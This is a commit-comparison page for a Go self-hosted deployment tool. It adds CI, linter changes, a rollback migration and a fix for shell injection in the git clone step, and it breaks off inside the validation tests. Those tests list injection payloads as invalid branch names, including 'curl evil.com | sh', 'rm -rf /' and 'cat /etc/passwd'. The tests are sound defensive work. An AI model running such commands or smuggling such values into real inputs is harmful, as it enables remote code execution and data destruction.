Compare commits
62 Commits
a1b06219e7
...
feat/ci-ma
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8ec04fdadb | ||
| 06e8e66443 | |||
|
|
95a690e805 | ||
|
|
802518b917 | ||
| b47f871412 | |||
|
|
02847eea92 | ||
|
|
506c795f16 | ||
| 38a744b489 | |||
| 11314629b6 | |||
| bc3ee2bfc5 | |||
|
|
e09cf11c06 | ||
|
|
8d68a31366 | ||
| b83e68fafd | |||
| f743837d49 | |||
|
|
9ac1d25788 | ||
| 0c8dcc2eb1 | |||
| d0375555af | |||
| e9d284698a | |||
| 96a91b09ca | |||
| 046cccf31f | |||
|
|
0536f57ec2 | ||
|
|
2be6a748b7 | ||
| e31666ab5c | |||
|
|
c5f957477f | ||
| 6696db957d | |||
| ebcae55302 | |||
| e2ad42f0ac | |||
|
|
a80b7ac0a6 | ||
|
|
69a5a8c298 | ||
| 3f499163a7 | |||
| 07ac71974c | |||
| cdd7e3fd3a | |||
| f596990d9d | |||
| 4f1f3e2494 | |||
|
|
d27adc040d | ||
| 9a284d40fd | |||
| 448879b4ef | |||
|
|
af9ffddf84 | ||
| 8194a02ac4 | |||
| c4c62c9aba | |||
| b1a6fd5fca | |||
|
|
3a18221eea | ||
| e9bf63d18b | |||
|
|
559bfa4131 | ||
| e30a7568cf | |||
|
|
300de44853 | ||
| 297f6e64f4 | |||
| 03b0dbeb04 | |||
|
|
e42f80814c | ||
|
|
97a5aae2f7 | ||
| ef271d2da9 | |||
| e0d74f04dc | |||
| 763e722607 | |||
|
|
35ef6c8fea | ||
| 7c0278439d | |||
| 97ee1e212f | |||
| 3e8f424129 | |||
| ef0786c4b4 | |||
| dcdecafc61 | |||
| 867cdf01ab | |||
| 6475389280 | |||
|
|
69456abd25 |
20
.gitea/workflows/check.yml
Normal file
20
.gitea/workflows/check.yml
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
name: check
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches: [main]
|
||||||
|
pull_request:
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
check:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
container:
|
||||||
|
image: golang:1.25
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Install golangci-lint
|
||||||
|
run: go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest
|
||||||
|
|
||||||
|
- name: Run make check
|
||||||
|
run: make check
|
||||||
@@ -14,19 +14,23 @@ linters:
|
|||||||
- wsl # Deprecated, replaced by wsl_v5
|
- wsl # Deprecated, replaced by wsl_v5
|
||||||
- wrapcheck # Too verbose for internal packages
|
- wrapcheck # Too verbose for internal packages
|
||||||
- varnamelen # Short names like db, id are idiomatic Go
|
- varnamelen # Short names like db, id are idiomatic Go
|
||||||
|
settings:
|
||||||
linters-settings:
|
gosec:
|
||||||
lll:
|
excludes:
|
||||||
line-length: 88
|
- G117 # false positives on exported fields named Password/Secret/Key
|
||||||
funlen:
|
- G703 # path traversal — paths from internal config, not user input
|
||||||
lines: 80
|
- G704 # SSRF — URLs come from server config, not user input
|
||||||
statements: 50
|
- G705 # XSS — log endpoints with text/plain content type
|
||||||
cyclop:
|
lll:
|
||||||
max-complexity: 15
|
line-length: 120
|
||||||
dupl:
|
funlen:
|
||||||
threshold: 100
|
lines: 80
|
||||||
|
statements: 50
|
||||||
|
cyclop:
|
||||||
|
max-complexity: 15
|
||||||
|
dupl:
|
||||||
|
threshold: 150
|
||||||
|
|
||||||
issues:
|
issues:
|
||||||
exclude-use-default: false
|
|
||||||
max-issues-per-linter: 0
|
max-issues-per-linter: 0
|
||||||
max-same-issues: 0
|
max-same-issues: 0
|
||||||
|
|||||||
312
TODO.md
312
TODO.md
@@ -1,312 +0,0 @@
|
|||||||
# UPAAS Implementation Plan
|
|
||||||
|
|
||||||
## Feature Roadmap
|
|
||||||
|
|
||||||
### Core Infrastructure
|
|
||||||
- [x] Uber fx dependency injection
|
|
||||||
- [x] Chi router integration
|
|
||||||
- [x] Structured logging (slog) with TTY detection
|
|
||||||
- [x] Configuration via Viper (env vars, config files)
|
|
||||||
- [x] SQLite database with embedded migrations
|
|
||||||
- [x] Embedded templates (html/template)
|
|
||||||
- [x] Embedded static assets (Tailwind CSS, JS)
|
|
||||||
- [x] Server startup (`Server.Run()`)
|
|
||||||
- [x] Graceful shutdown (`Server.Shutdown()`)
|
|
||||||
- [x] Route wiring (`SetupRoutes()`)
|
|
||||||
|
|
||||||
### Authentication & Authorization
|
|
||||||
- [x] Single admin user model
|
|
||||||
- [x] Argon2id password hashing
|
|
||||||
- [x] Initial setup flow (create admin on first run)
|
|
||||||
- [x] Cookie-based session management (gorilla/sessions)
|
|
||||||
- [x] Session middleware for protected routes
|
|
||||||
- [x] Login/logout handlers
|
|
||||||
- [ ] API token authentication (for JSON API)
|
|
||||||
|
|
||||||
### App Management
|
|
||||||
- [x] Create apps with name, repo URL, branch, Dockerfile path
|
|
||||||
- [x] Edit app configuration
|
|
||||||
- [x] Delete apps (cascades to related entities)
|
|
||||||
- [x] List all apps on dashboard
|
|
||||||
- [x] View app details
|
|
||||||
- [x] Per-app SSH keypair generation (Ed25519)
|
|
||||||
- [x] Per-app webhook secret (UUID)
|
|
||||||
|
|
||||||
### Container Configuration
|
|
||||||
- [x] Environment variables (add, delete per app)
|
|
||||||
- [x] Docker labels (add, delete per app)
|
|
||||||
- [x] Volume mounts (add, delete per app, with read-only option)
|
|
||||||
- [x] Docker network configuration per app
|
|
||||||
- [ ] Edit existing environment variables
|
|
||||||
- [ ] Edit existing labels
|
|
||||||
- [ ] Edit existing volume mounts
|
|
||||||
- [ ] CPU/memory resource limits
|
|
||||||
|
|
||||||
### Deployment Pipeline
|
|
||||||
- [x] Manual deploy trigger from UI
|
|
||||||
- [x] Repository cloning via Docker git container
|
|
||||||
- [x] SSH key authentication for private repos
|
|
||||||
- [x] Docker image building with configurable Dockerfile
|
|
||||||
- [x] Container creation with env vars, labels, volumes
|
|
||||||
- [x] Old container removal before new deployment
|
|
||||||
- [x] Deployment status tracking (building, deploying, success, failed)
|
|
||||||
- [x] Deployment logs storage
|
|
||||||
- [x] View deployment history per app
|
|
||||||
- [x] Container logs viewing
|
|
||||||
- [ ] Deployment rollback to previous image
|
|
||||||
- [ ] Deployment cancellation
|
|
||||||
|
|
||||||
### Manual Container Controls
|
|
||||||
- [x] Restart container
|
|
||||||
- [x] Stop container
|
|
||||||
- [x] Start stopped container
|
|
||||||
|
|
||||||
### Webhook Integration
|
|
||||||
- [x] Gitea webhook endpoint (`/webhook/:secret`)
|
|
||||||
- [x] Push event parsing
|
|
||||||
- [x] Branch extraction from refs
|
|
||||||
- [x] Branch matching (only deploy configured branch)
|
|
||||||
- [x] Webhook event audit log
|
|
||||||
- [x] Automatic deployment on matching webhook
|
|
||||||
- [ ] Webhook event history UI
|
|
||||||
- [ ] GitHub webhook support
|
|
||||||
- [ ] GitLab webhook support
|
|
||||||
|
|
||||||
### Health Monitoring
|
|
||||||
- [x] Health check endpoint (`/health`)
|
|
||||||
- [x] Application uptime tracking
|
|
||||||
- [x] Docker container health status checking
|
|
||||||
- [x] Post-deployment health verification (60s delay)
|
|
||||||
- [ ] Custom health check commands per app
|
|
||||||
|
|
||||||
### Notifications
|
|
||||||
- [x] ntfy integration (HTTP POST)
|
|
||||||
- [x] Slack-compatible webhook integration
|
|
||||||
- [x] Build start/success/failure notifications
|
|
||||||
- [x] Deploy success/failure notifications
|
|
||||||
- [x] Priority mapping for notification urgency
|
|
||||||
|
|
||||||
### Observability
|
|
||||||
- [x] Request logging middleware
|
|
||||||
- [x] Request ID generation
|
|
||||||
- [x] Sentry error reporting (optional)
|
|
||||||
- [x] Prometheus metrics endpoint (optional, with basic auth)
|
|
||||||
- [ ] Structured logging for all operations
|
|
||||||
- [ ] Deployment count/duration metrics
|
|
||||||
- [ ] Container health status metrics
|
|
||||||
- [ ] Webhook event metrics
|
|
||||||
- [ ] Audit log table for user actions
|
|
||||||
|
|
||||||
### API
|
|
||||||
- [ ] JSON API (`/api/v1/*`)
|
|
||||||
- [ ] List apps endpoint
|
|
||||||
- [ ] Get app details endpoint
|
|
||||||
- [ ] Create app endpoint
|
|
||||||
- [ ] Delete app endpoint
|
|
||||||
- [ ] Trigger deploy endpoint
|
|
||||||
- [ ] List deployments endpoint
|
|
||||||
- [ ] API documentation
|
|
||||||
|
|
||||||
### UI Features
|
|
||||||
- [x] Server-rendered HTML templates
|
|
||||||
- [x] Dashboard with app list
|
|
||||||
- [x] App creation form
|
|
||||||
- [x] App detail view with all configurations
|
|
||||||
- [x] App edit form
|
|
||||||
- [x] Deployment history page
|
|
||||||
- [x] Login page
|
|
||||||
- [x] Setup page
|
|
||||||
- [ ] Container logs page
|
|
||||||
- [ ] Webhook event history page
|
|
||||||
- [ ] Settings page (webhook secret, SSH public key)
|
|
||||||
- [ ] Real-time deployment log streaming (WebSocket/SSE)
|
|
||||||
|
|
||||||
### Future Considerations
|
|
||||||
- [ ] Multi-user support with roles
|
|
||||||
- [ ] Private Docker registry authentication
|
|
||||||
- [ ] Scheduled deployments
|
|
||||||
- [ ] Backup/restore of app configurations
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Phase 1: Critical (Application Cannot Start)
|
|
||||||
|
|
||||||
### 1.1 Server Startup Infrastructure
|
|
||||||
- [x] Implement `Server.Run()` in `internal/server/server.go`
|
|
||||||
- Start HTTP server with configured address/port
|
|
||||||
- Handle TLS if configured
|
|
||||||
- Block until shutdown signal received
|
|
||||||
- [x] Implement `Server.Shutdown()` in `internal/server/server.go`
|
|
||||||
- Graceful shutdown with context timeout
|
|
||||||
- Close database connections
|
|
||||||
- Stop running containers gracefully (optional)
|
|
||||||
- [x] Implement `SetupRoutes()` in `internal/server/routes.go`
|
|
||||||
- Wire up chi router with all handlers
|
|
||||||
- Apply middleware (logging, auth, CORS, metrics)
|
|
||||||
- Define public vs protected route groups
|
|
||||||
- Serve static assets and templates
|
|
||||||
|
|
||||||
### 1.2 Route Configuration
|
|
||||||
```
|
|
||||||
Public Routes:
|
|
||||||
GET /health
|
|
||||||
GET /setup, POST /setup
|
|
||||||
GET /login, POST /login
|
|
||||||
POST /webhook/:secret
|
|
||||||
|
|
||||||
Protected Routes (require auth):
|
|
||||||
GET /logout
|
|
||||||
GET /dashboard
|
|
||||||
GET /apps/new, POST /apps
|
|
||||||
GET /apps/:id, POST /apps/:id, DELETE /apps/:id
|
|
||||||
GET /apps/:id/edit, POST /apps/:id/edit
|
|
||||||
GET /apps/:id/deployments
|
|
||||||
GET /apps/:id/logs
|
|
||||||
POST /apps/:id/env-vars, DELETE /apps/:id/env-vars/:id
|
|
||||||
POST /apps/:id/labels, DELETE /apps/:id/labels/:id
|
|
||||||
POST /apps/:id/volumes, DELETE /apps/:id/volumes/:id
|
|
||||||
POST /apps/:id/deploy
|
|
||||||
```
|
|
||||||
|
|
||||||
## Phase 2: High Priority (Core Functionality Gaps)
|
|
||||||
|
|
||||||
### 2.1 Container Logs
|
|
||||||
- [x] Implement `HandleAppLogs()` in `internal/handlers/app.go`
|
|
||||||
- Fetch logs via Docker API (`ContainerLogs`)
|
|
||||||
- Support tail parameter (last N lines)
|
|
||||||
- Stream logs with SSE or chunked response
|
|
||||||
- [x] Add Docker client method `GetContainerLogs(containerID, tail int) (io.Reader, error)`
|
|
||||||
|
|
||||||
### 2.2 Manual Container Controls
|
|
||||||
- [x] Add `POST /apps/:id/restart` endpoint
|
|
||||||
- Stop and start container
|
|
||||||
- Record restart in deployment log
|
|
||||||
- [x] Add `POST /apps/:id/stop` endpoint
|
|
||||||
- Stop container without deleting
|
|
||||||
- Update app status
|
|
||||||
- [x] Add `POST /apps/:id/start` endpoint
|
|
||||||
- Start stopped container
|
|
||||||
- Run health check
|
|
||||||
|
|
||||||
## Phase 3: Medium Priority (UX Improvements)
|
|
||||||
|
|
||||||
### 3.1 Edit Operations for Related Entities
|
|
||||||
- [ ] Add `PUT /apps/:id/env-vars/:id` endpoint
|
|
||||||
- Update existing environment variable value
|
|
||||||
- Trigger container restart with new env
|
|
||||||
- [ ] Add `PUT /apps/:id/labels/:id` endpoint
|
|
||||||
- Update existing Docker label
|
|
||||||
- [ ] Add `PUT /apps/:id/volumes/:id` endpoint
|
|
||||||
- Update volume mount paths
|
|
||||||
- Validate paths before saving
|
|
||||||
|
|
||||||
### 3.2 Deployment Rollback
|
|
||||||
- [ ] Add `previous_image_id` column to apps table
|
|
||||||
- Store last successful image ID before new deploy
|
|
||||||
- [ ] Add `POST /apps/:id/rollback` endpoint
|
|
||||||
- Stop current container
|
|
||||||
- Start container with previous image
|
|
||||||
- Create deployment record for rollback
|
|
||||||
- [ ] Update deploy service to save previous image before building new one
|
|
||||||
|
|
||||||
### 3.3 Deployment Cancellation
|
|
||||||
- [ ] Add cancellation context to deploy service
|
|
||||||
- [ ] Add `POST /apps/:id/deployments/:id/cancel` endpoint
|
|
||||||
- [ ] Handle cleanup of partial builds/containers
|
|
||||||
|
|
||||||
## Phase 4: Lower Priority (Nice to Have)
|
|
||||||
|
|
||||||
### 4.1 JSON API
|
|
||||||
- [ ] Add `/api/v1` route group with JSON responses
|
|
||||||
- [ ] Implement API endpoints mirroring web routes:
|
|
||||||
- `GET /api/v1/apps` - list apps
|
|
||||||
- `POST /api/v1/apps` - create app
|
|
||||||
- `GET /api/v1/apps/:id` - get app details
|
|
||||||
- `DELETE /api/v1/apps/:id` - delete app
|
|
||||||
- `POST /api/v1/apps/:id/deploy` - trigger deploy
|
|
||||||
- `GET /api/v1/apps/:id/deployments` - list deployments
|
|
||||||
- [ ] Add API token authentication (separate from session auth)
|
|
||||||
- [ ] Document API in README
|
|
||||||
|
|
||||||
### 4.2 Resource Limits
|
|
||||||
- [ ] Add `cpu_limit` and `memory_limit` columns to apps table
|
|
||||||
- [ ] Add fields to app edit form
|
|
||||||
- [ ] Pass limits to Docker container create
|
|
||||||
|
|
||||||
### 4.3 UI Improvements
|
|
||||||
- [ ] Add webhook event history page
|
|
||||||
- Show received webhooks per app
|
|
||||||
- Display match/no-match status
|
|
||||||
- [ ] Add settings page
|
|
||||||
- View/regenerate webhook secret
|
|
||||||
- View SSH public key
|
|
||||||
- [ ] Add real-time deployment log streaming
|
|
||||||
- WebSocket or SSE for live build output
|
|
||||||
|
|
||||||
### 4.4 Observability
|
|
||||||
- [ ] Add structured logging for all operations
|
|
||||||
- [ ] Add Prometheus metrics for:
|
|
||||||
- Deployment count/duration
|
|
||||||
- Container health status
|
|
||||||
- Webhook events received
|
|
||||||
- [ ] Add audit log table for user actions
|
|
||||||
|
|
||||||
## Phase 5: Future Considerations
|
|
||||||
|
|
||||||
- [ ] Multi-user support with roles
|
|
||||||
- [ ] Private Docker registry authentication
|
|
||||||
- [ ] Custom health check commands per app
|
|
||||||
- [ ] Scheduled deployments
|
|
||||||
- [ ] Backup/restore of app configurations
|
|
||||||
- [ ] GitHub/GitLab webhook support (in addition to Gitea)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Implementation Notes
|
|
||||||
|
|
||||||
### Server.Run() Example
|
|
||||||
```go
|
|
||||||
func (s *Server) Run() error {
|
|
||||||
s.SetupRoutes()
|
|
||||||
|
|
||||||
srv := &http.Server{
|
|
||||||
Addr: s.config.ListenAddr,
|
|
||||||
Handler: s.router,
|
|
||||||
}
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
<-s.shutdownCh
|
|
||||||
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
|
||||||
defer cancel()
|
|
||||||
srv.Shutdown(ctx)
|
|
||||||
}()
|
|
||||||
|
|
||||||
return srv.ListenAndServe()
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### SetupRoutes() Structure
|
|
||||||
```go
|
|
||||||
func (s *Server) SetupRoutes() {
|
|
||||||
r := chi.NewRouter()
|
|
||||||
|
|
||||||
// Global middleware
|
|
||||||
r.Use(s.middleware.RequestID)
|
|
||||||
r.Use(s.middleware.Logger)
|
|
||||||
r.Use(s.middleware.Recoverer)
|
|
||||||
|
|
||||||
// Public routes
|
|
||||||
r.Get("/health", s.handlers.HandleHealthCheck())
|
|
||||||
r.Get("/login", s.handlers.HandleLoginPage())
|
|
||||||
// ...
|
|
||||||
|
|
||||||
// Protected routes
|
|
||||||
r.Group(func(r chi.Router) {
|
|
||||||
r.Use(s.middleware.SessionAuth)
|
|
||||||
r.Get("/dashboard", s.handlers.HandleDashboard())
|
|
||||||
// ...
|
|
||||||
})
|
|
||||||
|
|
||||||
s.router = r
|
|
||||||
}
|
|
||||||
```
|
|
||||||
@@ -52,6 +52,7 @@ type Config struct {
|
|||||||
MetricsUsername string
|
MetricsUsername string
|
||||||
MetricsPassword string
|
MetricsPassword string
|
||||||
SessionSecret string
|
SessionSecret string
|
||||||
|
CORSOrigins string
|
||||||
params *Params
|
params *Params
|
||||||
log *slog.Logger
|
log *slog.Logger
|
||||||
}
|
}
|
||||||
@@ -102,6 +103,7 @@ func setupViper(name string) {
|
|||||||
viper.SetDefault("METRICS_USERNAME", "")
|
viper.SetDefault("METRICS_USERNAME", "")
|
||||||
viper.SetDefault("METRICS_PASSWORD", "")
|
viper.SetDefault("METRICS_PASSWORD", "")
|
||||||
viper.SetDefault("SESSION_SECRET", "")
|
viper.SetDefault("SESSION_SECRET", "")
|
||||||
|
viper.SetDefault("CORS_ORIGINS", "")
|
||||||
}
|
}
|
||||||
|
|
||||||
func buildConfig(log *slog.Logger, params *Params) (*Config, error) {
|
func buildConfig(log *slog.Logger, params *Params) (*Config, error) {
|
||||||
@@ -136,6 +138,7 @@ func buildConfig(log *slog.Logger, params *Params) (*Config, error) {
|
|||||||
MetricsUsername: viper.GetString("METRICS_USERNAME"),
|
MetricsUsername: viper.GetString("METRICS_USERNAME"),
|
||||||
MetricsPassword: viper.GetString("METRICS_PASSWORD"),
|
MetricsPassword: viper.GetString("METRICS_PASSWORD"),
|
||||||
SessionSecret: viper.GetString("SESSION_SECRET"),
|
SessionSecret: viper.GetString("SESSION_SECRET"),
|
||||||
|
CORSOrigins: viper.GetString("CORS_ORIGINS"),
|
||||||
params: params,
|
params: params,
|
||||||
log: log,
|
log: log,
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -172,6 +172,7 @@ func (d *Database) connect(ctx context.Context) error {
|
|||||||
// HashWebhookSecret returns the hex-encoded SHA-256 hash of a webhook secret.
|
// HashWebhookSecret returns the hex-encoded SHA-256 hash of a webhook secret.
|
||||||
func HashWebhookSecret(secret string) string {
|
func HashWebhookSecret(secret string) string {
|
||||||
sum := sha256.Sum256([]byte(secret))
|
sum := sha256.Sum256([]byte(secret))
|
||||||
|
|
||||||
return hex.EncodeToString(sum[:])
|
return hex.EncodeToString(sum[:])
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -181,6 +182,7 @@ func (d *Database) backfillWebhookSecretHashes(ctx context.Context) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("querying apps for backfill: %w", err)
|
return fmt.Errorf("querying apps for backfill: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
defer func() { _ = rows.Close() }()
|
defer func() { _ = rows.Close() }()
|
||||||
|
|
||||||
type row struct {
|
type row struct {
|
||||||
@@ -191,14 +193,17 @@ func (d *Database) backfillWebhookSecretHashes(ctx context.Context) error {
|
|||||||
|
|
||||||
for rows.Next() {
|
for rows.Next() {
|
||||||
var r row
|
var r row
|
||||||
if scanErr := rows.Scan(&r.id, &r.secret); scanErr != nil {
|
|
||||||
|
scanErr := rows.Scan(&r.id, &r.secret)
|
||||||
|
if scanErr != nil {
|
||||||
return fmt.Errorf("scanning app for backfill: %w", scanErr)
|
return fmt.Errorf("scanning app for backfill: %w", scanErr)
|
||||||
}
|
}
|
||||||
|
|
||||||
toUpdate = append(toUpdate, r)
|
toUpdate = append(toUpdate, r)
|
||||||
}
|
}
|
||||||
|
|
||||||
if rowsErr := rows.Err(); rowsErr != nil {
|
rowsErr := rows.Err()
|
||||||
|
if rowsErr != nil {
|
||||||
return fmt.Errorf("iterating apps for backfill: %w", rowsErr)
|
return fmt.Errorf("iterating apps for backfill: %w", rowsErr)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,2 @@
|
|||||||
|
-- Add previous_image_id to apps for deployment rollback support
|
||||||
|
ALTER TABLE apps ADD COLUMN previous_image_id TEXT;
|
||||||
@@ -10,12 +10,14 @@ import (
|
|||||||
"log/slog"
|
"log/slog"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"regexp"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
"github.com/docker/docker/api/types"
|
"github.com/docker/docker/api/types"
|
||||||
"github.com/docker/docker/api/types/container"
|
"github.com/docker/docker/api/types/container"
|
||||||
"github.com/docker/docker/api/types/filters"
|
"github.com/docker/docker/api/types/filters"
|
||||||
|
"github.com/docker/docker/api/types/image"
|
||||||
"github.com/docker/docker/api/types/mount"
|
"github.com/docker/docker/api/types/mount"
|
||||||
"github.com/docker/docker/api/types/network"
|
"github.com/docker/docker/api/types/network"
|
||||||
"github.com/docker/docker/client"
|
"github.com/docker/docker/client"
|
||||||
@@ -46,6 +48,18 @@ var ErrNotConnected = errors.New("docker client not connected")
|
|||||||
// ErrGitCloneFailed is returned when git clone fails.
|
// ErrGitCloneFailed is returned when git clone fails.
|
||||||
var ErrGitCloneFailed = errors.New("git clone failed")
|
var ErrGitCloneFailed = errors.New("git clone failed")
|
||||||
|
|
||||||
|
// ErrInvalidBranch is returned when a branch name contains invalid characters.
|
||||||
|
var ErrInvalidBranch = errors.New("invalid branch name")
|
||||||
|
|
||||||
|
// ErrInvalidCommitSHA is returned when a commit SHA is not a valid hex string.
|
||||||
|
var ErrInvalidCommitSHA = errors.New("invalid commit SHA")
|
||||||
|
|
||||||
|
// validBranchRe matches safe git branch names.
|
||||||
|
var validBranchRe = regexp.MustCompile(`^[a-zA-Z0-9._/\-]+$`)
|
||||||
|
|
||||||
|
// validCommitSHARe matches a full-length hex commit SHA.
|
||||||
|
var validCommitSHARe = regexp.MustCompile(`^[0-9a-f]{40}$`)
|
||||||
|
|
||||||
// Params contains dependencies for Client.
|
// Params contains dependencies for Client.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
fx.In
|
fx.In
|
||||||
@@ -430,6 +444,15 @@ func (c *Client) CloneRepo(
|
|||||||
ctx context.Context,
|
ctx context.Context,
|
||||||
repoURL, branch, commitSHA, sshPrivateKey, containerDir, hostDir string,
|
repoURL, branch, commitSHA, sshPrivateKey, containerDir, hostDir string,
|
||||||
) (*CloneResult, error) {
|
) (*CloneResult, error) {
|
||||||
|
// Validate inputs to prevent shell injection
|
||||||
|
if !validBranchRe.MatchString(branch) {
|
||||||
|
return nil, fmt.Errorf("%w: %q", ErrInvalidBranch, branch)
|
||||||
|
}
|
||||||
|
|
||||||
|
if commitSHA != "" && !validCommitSHARe.MatchString(commitSHA) {
|
||||||
|
return nil, fmt.Errorf("%w: %q", ErrInvalidCommitSHA, commitSHA)
|
||||||
|
}
|
||||||
|
|
||||||
if c.docker == nil {
|
if c.docker == nil {
|
||||||
return nil, ErrNotConnected
|
return nil, ErrNotConnected
|
||||||
}
|
}
|
||||||
@@ -457,6 +480,20 @@ func (c *Client) CloneRepo(
|
|||||||
return c.performClone(ctx, cfg)
|
return c.performClone(ctx, cfg)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// RemoveImage removes a Docker image by ID or tag.
|
||||||
|
// It returns nil if the image was successfully removed or does not exist.
|
||||||
|
func (c *Client) RemoveImage(ctx context.Context, imageID string) error {
|
||||||
|
_, err := c.docker.ImageRemove(ctx, imageID, image.RemoveOptions{
|
||||||
|
Force: true,
|
||||||
|
PruneChildren: true,
|
||||||
|
})
|
||||||
|
if err != nil && !client.IsErrNotFound(err) {
|
||||||
|
return fmt.Errorf("failed to remove image %s: %w", imageID, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
func (c *Client) performBuild(
|
func (c *Client) performBuild(
|
||||||
ctx context.Context,
|
ctx context.Context,
|
||||||
opts BuildImageOptions,
|
opts BuildImageOptions,
|
||||||
@@ -584,39 +621,39 @@ func (c *Client) createGitContainer(
|
|||||||
) (string, error) {
|
) (string, error) {
|
||||||
gitSSHCmd := "ssh -i /keys/deploy_key -o StrictHostKeyChecking=no"
|
gitSSHCmd := "ssh -i /keys/deploy_key -o StrictHostKeyChecking=no"
|
||||||
|
|
||||||
// Build the git command based on whether we have a specific commit SHA
|
// Build the git command using environment variables to avoid shell injection.
|
||||||
var cmd []string
|
// Arguments are passed via env vars and quoted in the shell script.
|
||||||
|
var script string
|
||||||
var entrypoint []string
|
|
||||||
|
|
||||||
if cfg.commitSHA != "" {
|
if cfg.commitSHA != "" {
|
||||||
// Clone without depth limit so we can checkout any commit, then checkout specific SHA
|
// Clone without depth limit so we can checkout any commit, then checkout specific SHA
|
||||||
// Using sh -c to run multiple commands - need to clear entrypoint
|
script = `git clone --branch "$CLONE_BRANCH" "$CLONE_URL" /repo` +
|
||||||
// Output "COMMIT:<sha>" marker at end for parsing
|
` && cd /repo && git checkout "$CLONE_SHA"` +
|
||||||
script := fmt.Sprintf(
|
` && echo COMMIT:$(git rev-parse HEAD)`
|
||||||
"git clone --branch %s %s /repo && cd /repo && git checkout %s && echo COMMIT:$(git rev-parse HEAD)",
|
|
||||||
cfg.branch, cfg.repoURL, cfg.commitSHA,
|
|
||||||
)
|
|
||||||
entrypoint = []string{}
|
|
||||||
cmd = []string{"sh", "-c", script}
|
|
||||||
} else {
|
} else {
|
||||||
// Shallow clone of branch HEAD, then output commit SHA
|
// Shallow clone of branch HEAD, then output commit SHA
|
||||||
// Using sh -c to run multiple commands
|
script = `git clone --depth 1 --branch "$CLONE_BRANCH" "$CLONE_URL" /repo` +
|
||||||
script := fmt.Sprintf(
|
` && cd /repo && echo COMMIT:$(git rev-parse HEAD)`
|
||||||
"git clone --depth 1 --branch %s %s /repo && cd /repo && echo COMMIT:$(git rev-parse HEAD)",
|
|
||||||
cfg.branch, cfg.repoURL,
|
|
||||||
)
|
|
||||||
entrypoint = []string{}
|
|
||||||
cmd = []string{"sh", "-c", script}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
env := []string{
|
||||||
|
"GIT_SSH_COMMAND=" + gitSSHCmd,
|
||||||
|
"CLONE_URL=" + cfg.repoURL,
|
||||||
|
"CLONE_BRANCH=" + cfg.branch,
|
||||||
|
}
|
||||||
|
if cfg.commitSHA != "" {
|
||||||
|
env = append(env, "CLONE_SHA="+cfg.commitSHA)
|
||||||
|
}
|
||||||
|
|
||||||
|
entrypoint := []string{}
|
||||||
|
cmd := []string{"sh", "-c", script}
|
||||||
|
|
||||||
// Use host paths for Docker bind mounts (Docker runs on the host, not in our container)
|
// Use host paths for Docker bind mounts (Docker runs on the host, not in our container)
|
||||||
resp, err := c.docker.ContainerCreate(ctx,
|
resp, err := c.docker.ContainerCreate(ctx,
|
||||||
&container.Config{
|
&container.Config{
|
||||||
Image: gitImage,
|
Image: gitImage,
|
||||||
Entrypoint: entrypoint,
|
Entrypoint: entrypoint,
|
||||||
Cmd: cmd,
|
Cmd: cmd,
|
||||||
Env: []string{"GIT_SSH_COMMAND=" + gitSSHCmd},
|
Env: env,
|
||||||
WorkingDir: "/",
|
WorkingDir: "/",
|
||||||
},
|
},
|
||||||
&container.HostConfig{
|
&container.HostConfig{
|
||||||
|
|||||||
148
internal/docker/validation_test.go
Normal file
148
internal/docker/validation_test.go
Normal file
@@ -0,0 +1,148 @@
|
|||||||
|
package docker //nolint:testpackage // tests unexported regexps and Client struct
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"log/slog"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestValidBranchRegex(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
valid := []string{
|
||||||
|
"main",
|
||||||
|
"develop",
|
||||||
|
"feature/my-feature",
|
||||||
|
"release-1.0",
|
||||||
|
"v1.2.3",
|
||||||
|
"fix/issue_42",
|
||||||
|
"my.branch",
|
||||||
|
}
|
||||||
|
for _, b := range valid {
|
||||||
|
if !validBranchRe.MatchString(b) {
|
||||||
|
t.Errorf("expected branch %q to be valid", b)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
invalid := []string{
|
||||||
|
"main; curl evil.com | sh",
|
||||||
|
"branch$(whoami)",
|
||||||
|
"branch`id`",
|
||||||
|
"branch && rm -rf /",
|
||||||
|
"branch | cat /etc/passwd",
|
||||||
|
"",
|
||||||
|
"branch name with spaces",
|
||||||
|
"branch\nnewline",
|
||||||
|
}
|
||||||
|
for _, b := range invalid {
|
||||||
|
if validBranchRe.MatchString(b) {
|
||||||
|
t.Errorf("expected branch %q to be invalid (potential injection)", b)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestValidCommitSHARegex(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
valid := []string{
|
||||||
|
"abc123def456789012345678901234567890abcd",
|
||||||
|
"0000000000000000000000000000000000000000",
|
||||||
|
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||||
|
}
|
||||||
|
for _, s := range valid {
|
||||||
|
if !validCommitSHARe.MatchString(s) {
|
||||||
|
